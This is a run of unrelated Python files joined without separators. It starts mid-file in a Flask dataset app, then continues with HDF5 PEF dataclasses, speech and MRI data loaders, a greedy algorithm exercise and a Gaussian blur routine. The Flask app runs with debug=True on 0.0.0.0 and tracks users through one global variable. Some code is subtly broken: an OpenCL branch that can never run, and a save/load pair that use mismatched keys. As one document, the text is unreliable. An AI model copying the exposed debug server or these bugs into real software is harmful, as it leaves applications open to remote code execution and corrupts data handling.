
@app.route("/delete", methods=['GET','POST'])
def delete():
    global DATASETS, uid
    if uid == None:
        return redirect("/login")
    form = DELform()
    if form.validate_on_submit():
        if uid != None and form.col.data:
            del DATASETS[uid][form.col.data]
            return render_template("delete.html", form=form, result="Deleted!")
        return render_template("delete.html", form=form, result="Nothing to delete!")
    return render_template("delete.html", form=form, result="")

@app.route('/jquery.js', methods=['GET'])
def jq():
     return send_from_directory(os.path.dirname(os.path.realpath(__file__))+'/static', 'jquery.js')

@app.route('/info.json')
def info():
    global uid
    if uid != None:
        data = {'len':DATASETS[uid].shape[0]*DATASETS[uid].shape[1],'cols':DATASETS[uid].shape[1],'rows':DATASETS[uid].shape[0]}
    else:
        data = {'len':0,'cols':0,'rows':0}
    return jsonify(data)

def calculate(args, expr):
    global DATASETS, uid
    data = []
    result = np.array([])
    is_opencl = False
    for a in args:
        arr = np.asarray(DATASETS[uid][a])
        if not (arr.dtype == np.int or arr.dtype == np.float):
            is_opencl = False
            data.append(arr)
        else:
            data.append(arr.astype(np.float32))

    if is_opencl:
        ocl = OpenCL()
        if ocl.success:
            ocl.getkernel(args, expr)
            result = ocl.compute(*data)
        method = "OpenCL"
    else:
        lmb = getlambda(args, expr)
        result = np.array(list(map(lmb, *data)))
        method = "IOMAP"

    df_new = DataFrame(result.reshape(result.size, 1), columns = ['result(%s)' % expr])
    DATASETS[uid] = pandas.concat([DATASETS[uid], df_new], axis=1)
    return method

# run the app
app.run(debug=True, host="0.0.0.0")


"""Classes holding representations of PEFs."""
import os
import dataclasses
from typing import Sequence, Union

import h5py
import numpy as np

from npeff.util import hdf5_util

###############################################################################
# Utilities for loading logits and labels from a PEFs file. They are
# not technically part of the PEFs but we save them with them for convenience.
# This lets us just load the logits and/or labels from a PEFs file if that is
# only what we want.

def load_logits(pefs_filepath: str) -> np.ndarray:
    with h5py.File(os.path.expanduser(pefs_filepath), "r") as f:
        if 'data/predicted_logits' in f:
            return hdf5_util.load_h5_ds(f['data/predicted_logits'])
        else:
            return hdf5_util.load_h5_ds(f['data/logits'])

def load_labels(pefs_filepath: str) -> np.ndarray:
    with h5py.File(os.path.expanduser(pefs_filepath), "r") as f:
        return hdf5_util.load_h5_ds(f['data/labels'])

###############################################################################

def infer_pefs_file_class(pefs_filepath: str):
    """Infers the type of PEFs contained in a PEFs file.

    Does a quick heuristic check based on the presence of datasets with the h5 file.
    """
    with h5py.File(os.path.expanduser(pefs_filepath), "r") as f:
        if 'data/fisher/values' in f:
            return SparseDiagonalPefs
        elif 'data/ranks' in f:
            return SparseLvrmPefs
        elif 'data/col_offsets' in f:
            return SparseLrmPefs
        else:
            return None

def load(pefs_filepath: str) -> Union['SparseDiagonalPefs', 'SparseLrmPefs', 'SparseLvrmPefs']:
    pefs_cls = infer_pefs_file_class(pefs_filepath)
    if pefs_cls is None:
        raise ValueError(f'File not recognized as a PEFs file: {pefs_filepath}')
    return pefs_cls.load(pefs_filepath)

###############################################################################

@dataclasses.dataclass
class SparseDiagonalPefs:
    """Represents the sparse diagonal PEFs of a data set."""

    n_parameters: int

    # values.shape = [n_examples, nnz_per_example]
    values: np.ndarray
    # indices.shape = [n_examples, nnz_per_example]
    indices: np.ndarray

    # pef_norms.shape = [n_examples]
    pef_norms: np.ndarray

    # labels.shape = [n_examples]
    labels: np.ndarray
    # logits.shape = [n_examples, n_classes]
    logits: np.ndarray

    def create_for_subset(self, subset_inds: Sequence[int]) -> 'SparseDiagonalPefs':
        """Creates a SparseLrmPefs object corresponding to examples with indices from subset_inds."""
        if not isinstance(subset_inds, np.ndarray):
            subset_inds = np.array(subset_inds, dtype=np.int32)
        return SparseDiagonalPefs(
            n_parameters=self.n_parameters,
            values=self.values[subset_inds],
            indices=self.indices[subset_inds],
            pef_norms=self.pef_norms[subset_inds],
            labels=self.labels[subset_inds],
            logits=self.logits[subset_inds],
        )

    def save(self, filepath: str):
        with h5py.File(os.path.expanduser(filepath), "w") as f:
            hdf5_util.save_h5_ds(f, 'data/dense_fisher_norms', self.pef_norms)

            hdf5_util.save_h5_ds(f, 'data/labels', self.labels)
            hdf5_util.save_h5_ds(f, 'data/predicted_logits', self.logits)

            hdf5_util.save_h5_ds(f, 'data/fisher/values', self.values)
            hdf5_util.save_h5_ds(f, 'data/fisher/indices', self.indices)

            f['data/fisher'].attrs['dense_fisher_size'] = self.n_parameters

    @classmethod
    def load(cls, filepath: str):
        with h5py.File(os.path.expanduser(filepath), "r") as f:
            return cls(
                n_parameters=f['data/fisher'].attrs['dense_fisher_size'],
                labels=hdf5_util.load_h5_ds(f['data/labels']),
                logits=hdf5_util.load_h5_ds(f['data/logits']),
                values=hdf5_util.load_h5_ds(f['data/fisher/values']),
                indices=hdf5_util.load_h5_ds(f['data/fisher/indices']),
                pef_norms=hdf5_util.load_h5_ds(f['data/dense_fisher_norms']),
            )

###############################################################################

@dataclasses.dataclass
class SparseLrmPefs:
    """Represents the sparse LRM-PEFs of a data set.

    The each PEF is stored in CSC format. We stored the matrix A_i for each example
    such that the full PEF is equal to A_iA_i^T. We assume that the rank of each
    PEF is the same across all examples. We also assume that the representation
    for each PEF contains the same number of non-zero values.
    """

    n_classes: int
    n_parameters: int

    # values.shape = [n_examples, nnz_per_example]
    values: np.ndarray
    # col_offsets.shape = [n_examples, n_classes + 1]
    col_offsets: np.ndarray
    # row_indices.shape = [n_examples, nnz_pef_example]
    row_indices: np.ndarray

    # pef_norms.shape = [n_examples]
    pef_norms: np.ndarray

    # labels.shape = [n_examples]
    labels: np.ndarray
    # logits.shape = [n_examples, n_classes]
    logits: np.ndarray

    def create_for_subset(self, subset_inds: Sequence[int]) -> 'SparseLrmPefs':
        """Creates a SparseLrmPefs object corresponding to examples with indices from subset_inds."""
        if not isinstance(subset_inds, np.ndarray):
            subset_inds = np.array(subset_inds, dtype=np.int32)
        return SparseLrmPefs(
            n_classes=self.n_classes,
            n_parameters=self.n_parameters,
            labels=self.labels[subset_inds],
            logits=self.logits[subset_inds],
            values=self.values[subset_inds],
            col_offsets=self.col_offsets[subset_inds],
            row_indices=self.row_indices[subset_inds],
            pef_norms=self.pef_norms[subset_inds],
        )

    def save(self, filepath: str):
        with h5py.File(os.path.expanduser(filepath), "w") as f:
            hdf5_util.save_h5_ds(f, 'data/labels', self.labels)
            hdf5_util.save_h5_ds(f, 'data/logits', self.logits)

            hdf5_util.save_h5_ds(f, 'data/values', self.values)
            hdf5_util.save_h5_ds(f, 'data/col_offsets', self.col_offsets)
            hdf5_util.save_h5_ds(f, 'data/row_indices', self.row_indices)

            hdf5_util.save_h5_ds(f, 'data/pef_frobenius_norms', self.pef_norms)

            f['data'].attrs['n_classes'] = self.n_classes
            f['data'].attrs['n_parameters'] = self.n_parameters

    @classmethod
    def load(cls, filepath: str):
        with h5py.File(os.path.expanduser(filepath), "r") as f:
            return cls(
                n_classes=f['data'].attrs['n_classes'],
                n_parameters=f['data'].attrs['n_parameters'],
                labels=hdf5_util.load_h5_ds(f['data/labels']),
                logits=hdf5_util.load_h5_ds(f['data/logits']),
                values=hdf5_util.load_h5_ds(f['data/values']),
                col_offsets=hdf5_util.load_h5_ds(f['data/col_offsets']),
                row_indices=hdf5_util.load_h5_ds(f['data/row_indices']),
                pef_norms=hdf5_util.load_h5_ds(f['data/pef_frobenius_norms']),
            )

###############################################################################

@dataclasses.dataclass
class SparseLvrmPefs:
    """Represents the sparse LVRM-PEFs of a data set.

    LVRM stands low, variable-rank matrix. This implementation has a
    a fixed NNZ entries per example, which probably leads to examples
    with high rank PEFs have poor sparse approximations.
    """

    n_parameters: int

    # values.shape = [n_examples, nnz_pef_example]
    values: np.ndarray

    # row_indices.shape = [n_examples, nnz_pef_example]
    row_indices: np.ndarray

    # ranks.shape = [n_examples]
    ranks: np.ndarray
    # col_sizes.shape = [sum(ranks)]
    col_sizes: np.ndarray

    # pef_norms.shape = [n_examples]
    pef_norms: np.ndarray

    # labels.shape = [n_examples]
    labels: np.ndarray
    # logits.shape = [n_examples, n_classes]
    logits: np.ndarray

    def create_for_subset(self, subset_inds: Sequence[int]) -> 'SparseLvrmPefs':
        """Creates a SparseLvrmPefs object corresponding to examples with indices from subset_inds."""
        raise NotImplementedError('TODO')

    def save(self, filepath: str):
        raise NotImplementedError('TODO')

    @classmethod
    def load(cls, filepath: str):
        raise NotImplementedError('TODO')


from concurrent.futures import ProcessPoolExecutor
from functools import partial
import numpy as np
import os
import glob
from util import audio
from hparams import hparams as hp

def build_from_path(in_dir, out_dir, num_workers=1, tqdm=lambda x: x):
  '''Preprocesses the THCHS30 dataset from a given input path into a given output directory.

    Args:
      in_dir: The directory where you have downloaded the THCHS30 dataset
      out_dir: The directory to write the output into
      num_workers: Optional number of worker processes to parallelize across
      tqdm: You can optionally pass tqdm to get a nice progress bar

    Returns:
      A list of tuples describing the training examples. This should be written to train.txt
  '''

  # We use ProcessPoolExecutor to parallize across processes. This is just an optimization and you
  # can omit it and just call _process_utterance on each input if you want.
  executor = ProcessPoolExecutor(max_workers=num_workers)
  futures = []
  index = 1

  # trn_files = glob.glob(os.path.join(in_dir, 'biaobei_48000', '*.trn')) # 标贝数据集
  trn_files = glob.glob(os.path.join(in_dir, 'data', '*.trn')) # 若是单独训练train文件则data改成train
  print("trn_files:",trn_files)
  for trn in trn_files:
    # print("trn:",trn)
    with open(trn) as f:
      pinyin = f.readline().strip('\n')
      # wav_file = trn[:-4] + '.wav' # 标贝数据集
      wav_file = trn[:-4]
      print("wav_file:",wav_file)
      task = partial(_process_utterance, out_dir, index, wav_file, pinyin)
      futures.append(executor.submit(task))
      index += 1
  return [future.result() for future in tqdm(futures) if future.result() is not None]

def _process_utterance(out_dir, index, wav_path, pinyin):
  '''Preprocesses a single utterance audio/text pair.

  This writes the mel and linear scale spectrograms to disk and returns a tuple to write
  to the train.txt file.

  Args:
    out_dir: The directory to write the spectrograms into
    index: The numeric index to use in the spectrogram filenames.
    wav_path: Path to the audio file containing the speech input
    pinyin: The pinyin of Chinese spoken in the input audio file

  Returns:
    A (spectrogram_filename, mel_filename, n_frames, text) tuple to write to train.txt
  '''

  # Load the audio to a numpy array:
  wav = audio.load_wav(wav_path)

  # rescale wav for unified measure for all clips
  wav = wav / np.abs(wav).max() * 0.999

  # trim silence
  wav = audio.trim_silence(wav)

  # Compute the linear-scale spectrogram from the wav:
  spectrogram = audio.spectrogram(wav).astype(np.float32)
  n_frames = spectrogram.shape[1]
  if n_frames > hp.max_frame_num:
    return None

  # Compute a mel-scale spectrogram from the wav:
  mel_spectrogram = audio.melspectrogram(wav).astype(np.float32)

  # Write the spectrograms to disk:
  spectrogram_filename = 'thchs30-spec-%05d.npy' % index
  mel_filename = 'thchs30-mel-%05d.npy' % index
  np.save(os.path.join(out_dir, spectrogram_filename), spectrogram.T, allow_pickle=False)
  np.save(os.path.join(out_dir, mel_filename), mel_spectrogram.T, allow_pickle=False)

  # Return a tuple describing this training example:
  return (spectrogram_filename, mel_filename, n_frames, pinyin)


from unet_model import UNet
import torch.optim as optim
from tqdm import tqdm

import os
import random

import numpy as np
import torch
from skimage.io import imread
from torch.utils.data import Dataset, DataLoader
import torchvision.transforms as transforms
import nibabel as nib
from glob import glob
import matplotlib.pyplot as plt
import torch.nn as nn
from aslloss import AsymmetricLossOptimized
from scipy import ndimage

def normalize(x): return (x - np.min(x)) / \
    np.max(x - np.min(x)).astype(np.float32)

class MRIdata(Dataset):
    def __init__(self, onehot=False, Normal=True, transform=True):
        self.onehot = onehot
        self.normalize = Normal
        self.transform = transform
        self.datapath = [x for x in sorted(
            glob(r'tr/images/'+'*.nii.gz'), key=os.path.getmtime)]
        self.maskpath = [x for x in sorted(
            glob(r'tr/masks/'+'*.nii.gz'), key=os.path.getmtime)]

    def __len__(self):
        return len(self.datapath)

    def __getitem__(self, idx):

        image = nib.load(self.datapath[idx])
        mask = nib.load(self.maskpath[idx])
        image_np = np.array(image.get_fdata()).astype(np.float32)
        mask_np = np.array(mask.get_fdata()).astype(np.float32)

        if self.normalize:
            image_np = normalize(image_np).astype(np.float32)

        if mask_np.shape[2] != 64:
            pad_size = 64 - mask_np.shape[2]
            pad_array = np.zeros(
                (image_np.shape[0], image_np.shape[1], pad_size//2), dtype=np.float32)
            if pad_size % 2 == 0:
                image_np = np.concatenate(
                    (pad_array, image_np, pad_array), axis=2)
                mask_np = np.concatenate(
                    (pad_array, mask_np, pad_array), axis=2)
            else:
                pad_array2 = np.zeros(
                    (image_np.shape[0], image_np.shape[1], pad_size//2+1), dtype=np.float32)
                image_np = np.concatenate(
                    (pad_array, image_np, pad_array2), axis=2)
                mask_np = np.concatenate(
                    (pad_array, mask_np, pad_array2), axis=2)

        if self.transform:
            # image = transpose(image_np)
            image_np = flip(image_np)
            image_np = rotate(image_np)

        image_t = transforms.ToTensor()(image_np)
        mask_t = transforms.ToTensor()(mask_np)

        one_hot_mask = torch.zeros((2,)+mask_np.shape)
        (one_hot_mask[0, :, :, :])[mask_t == 0] = 1
        (one_hot_mask[1, :, :, :])[mask_t == 1] = 1

        if self.onehot:
            return image_t, one_hot_mask

        else:
            return image_t, mask_t

class MRIslicedata(Dataset):
    def __init__(self, onehot=False, Normal=True):
        self.onehot = onehot
        self.normalize = Normal
        datapath = [x for x in sorted(
            glob(r'images/'+'*.nii.gz'), key=os.path.getmtime)]
        maskpath = [x for x in sorted(
            glob(r'masks/'+'*.nii.gz'), key=os.path.getmtime)]

        image_stack = [normalize(np.array(nib.load(img).get_fdata()))
                       for img in datapath]
        mask_stack = [normalize(np.array(nib.load(img).get_fdata()))
                      for img in maskpath]

        self.images = np.concatenate(image_stack, axis=2)
        self.masks = np.concatenate(mask_stack, axis=2)

    def __len__(self):
        return self.images.shape[2]

    def __getitem__(self, idx):

        image_np = self.images[:, :, idx].astype(np.float32)
        mask_np = self.masks[:, :, idx].astype(np.float32)

        image_t = transforms.ToTensor()(image_np)
        mask_t = transforms.ToTensor()(mask_np)

        if self.onehot:
            one_hot_mask = torch.zeros((2,)+image_np.shape)
            (one_hot_mask[0, :, :])[mask_t[0, ...] == 0] = 1
            (one_hot_mask[1, :, :])[mask_t[0, ...] == 1] = 1
            return image_t, one_hot_mask

        else:
            return image_t, mask_t

def flip(image):
    p1 = np.random.randint(2)
    if p1:
        image = image[::-1, :, :]
    p2 = np.random.randint(2)
    if p2:
        image = image[:, ::-1, :]

    return image

def rotate(image):
    angles = [90, 270, 180, 0]
    image = ndimage.rotate(image, np.random.choice(angles))
    return image

def transpose(image):
    p1 = np.random.randint(2)
    return [image, image.T][p1]

if __name__ == '__main__':

    trainset = MRIslicedata(onehot=True)
    trainset_Loader = DataLoader(trainset, batch_size=32, shuffle=True)
    image, mask = next(iter(trainset_Loader))

    print(image.size(), mask.size())
    print(len(trainset))


# 흙길 보수하기
# N개의 물웅덩이를 길이 L의 널빤지로 물웅덩이를 덮으려 할 때, 널빤지들의 최소갯수
import sys
n, l = map(int, sys.stdin.readline().split())
arr = []
for _ in range(n):
    arr.append(list(map(int, sys.stdin.readline().split())))    # 물웅덩이의 위치정보 저장

arr.sort(key = lambda x:x[0])
count = 0
start = 0
for s, e in arr:
    if s > start:
        start = s

    while start < e:
        start += l
        count += 1

print(count)


import numpy as np

def gaussian_mask(sigma, trim):
    """
    Computes the values of a 2D gaussian function with the desired sigma for the positions in a kernel with desired size

    :param sigma: integer or float representing the standard deviation
    :param trim: float, used to compute kernel size. Default is 4.0.
    :return: kernel as ndarray of shape size containing values of gaussian function
    """
    # compute distance d from center to edge of the filter kernel
    d = int(trim * sigma + 0.5)
    # empty list for storage
    vector = []
    for i in range(-d, d + 1):
        # compute value of one dimensional gaussian function (with mean = 0)
        gaussian_1d = np.exp(-i * i / (2 * sigma * sigma)) / np.sqrt(2 * np.pi * sigma * sigma)
        # store value in empty list
        vector.append(gaussian_1d)
    # compute outer product of vector with itself to obtain values of two dimensional gaussian function
    kernel = np.outer(vector, vector)
    # normalize kernel so that it sums to 1
    kernel /= np.sum(kernel)
    return kernel

def convolve(im, kernel):
    """
    Applies a filter kernel to an array (e.g. an image).
    Computes the values for pixels near the edge by virtually flipping the image on edges and corners.
    :param im: ndarray (e.g. an image)
    :param kernel: ndarray
    :return: filtered array
    """
    im_row, im_col = im.shape
    kernel_row, kernel_col = kernel.shape

    # increase size of image to be able to apply filter on pixels near the edge
    pad_height = int((kernel_row - 1) / 2)
    pad_width = int((kernel_col - 1) / 2)
    padded_im = np.zeros((im_row + (2 * pad_height), im_col + (2 * pad_width)))
    pad_row, pad_col = padded_im.shape
    # insert the original image into the middle of the padded image
    padded_im[pad_height:pad_row - pad_height, pad_width:pad_col - pad_width] = im

    filtered_image = np.zeros(im.shape)
    for row in range(im_row):
        for col in range(im_col):
            filtered_image[row, col] = np.sum(kernel * padded_im[row:row + kernel_row, col:col + kernel_col])

    return filtered_image

def gaussian_blurr(im, sigma, trim=4.0):
    """
    Applies a gaussian filter to an image
    :param im: ndarray
    :param sigma: integer or float representing the standard deviation
    :param trim: float, used to compute kernel size. Default is 4.0.
    :return: filtered image as ndarray
    """
    kernel = gaussian_mask(sigma, trim)
    filtered = convolve(im, kernel)
    return filtered

if __name__ == '__main__':
    # from skimage import io
    import matplotlib.pyplot as plt
    from scipy import ndimage

    # img = io.imread(r"C:\Users\marik\Pictures\BilderBioinfo\jw-1h 1_c5.TIF", as_gray=True)
    img = plt.imread(r"C:\Users\marik\Pictures\BilderBioinfo\lena.png")
    img2 = ndimage.gaussian_filter(img, sigma=1)
    img3 = gaussian_blurr(img, 1)
    img4 = img2 - img3

    # assert np.allclose(img2, img3, atol=1/255)
    # --> does not work because of corner region

    plt.subplot(2, 2, 1)
    plt.imshow(img)
    plt.colorbar()
    plt.title('original')

    plt.subplot(2, 2, 2)
    plt.imshow(img2)
    plt.colorbar()
    plt.title('scipy gaussian')

    plt.subplot(2, 2, 3)
    plt.imshow(img3)
    plt.colorbar()
    plt.title('my gaussian')

    plt.subplot(2, 2, 4)
    plt.imshow(img4)
    plt.colorbar()
    plt.title('difference scipy gaussian minus my gaussian')

    plt.show()